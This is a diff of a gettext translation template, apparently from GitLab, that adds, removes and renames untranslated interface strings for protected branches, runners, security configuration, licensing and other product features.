msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26802,6 +26490,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26811,9 +26502,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26832,9 +26520,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26958,13 +26643,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26985,12 +26673,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -27000,6 +26697,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27009,12 +26709,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -27060,18 +26763,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27478,6 +27193,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27505,6 +27223,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27686,6 +27407,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27701,15 +27425,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27725,9 +27443,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27875,15 +27590,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27893,15 +27611,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28313,6 +28022,9 @@ msgstr[3] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28463,12 +28175,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28484,9 +28190,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28585,6 +28288,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28594,9 +28300,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28663,12 +28366,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28678,6 +28390,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28687,9 +28402,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28702,9 +28426,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28747,12 +28477,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28783,6 +28519,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28861,6 +28603,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28912,10 +28660,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28948,6 +28693,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28999,6 +28747,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -29083,9 +28834,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29238,12 +28986,6 @@ msgstr[3] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29310,6 +29052,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29331,6 +29076,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29340,6 +29088,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29364,9 +29118,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29376,12 +29139,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29394,7 +29166,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29403,6 +29178,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29415,6 +29196,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29427,7 +29229,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29490,6 +29292,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29595,6 +29400,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29697,9 +29505,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29730,9 +29535,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29835,9 +29646,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29931,7 +29739,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29970,10 +29778,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -30015,9 +29823,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -30060,6 +29865,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30150,6 +29958,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30330,9 +30141,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30357,6 +30165,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30381,9 +30192,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30411,9 +30219,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30447,12 +30252,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30503,6 +30302,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30836,9 +30638,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30941,6 +30740,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31007,12 +30809,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31046,9 +30842,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -31091,9 +30884,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -31145,6 +30935,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -31163,6 +30956,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31265,15 +31061,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31490,12 +31277,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31514,7 +31307,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31544,6 +31337,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31631,6 +31427,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31640,9 +31439,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31997,6 +31793,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32015,7 +31814,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32087,9 +31892,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32102,7 +31904,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32150,7 +31952,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32165,7 +31967,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -32174,10 +31976,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32369,6 +32171,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32734,7 +32539,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32743,6 +32548,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32752,6 +32560,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32785,9 +32596,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32821,7 +32629,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32851,6 +32659,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32927,6 +32738,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32948,15 +32762,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -33041,18 +32855,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -33116,9 +32924,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33137,10 +32942,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -33155,9 +32960,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -33167,9 +32969,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33188,9 +32987,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33332,9 +33128,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33455,6 +33248,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33530,6 +33326,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33563,7 +33362,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33659,6 +33458,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33698,9 +33500,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
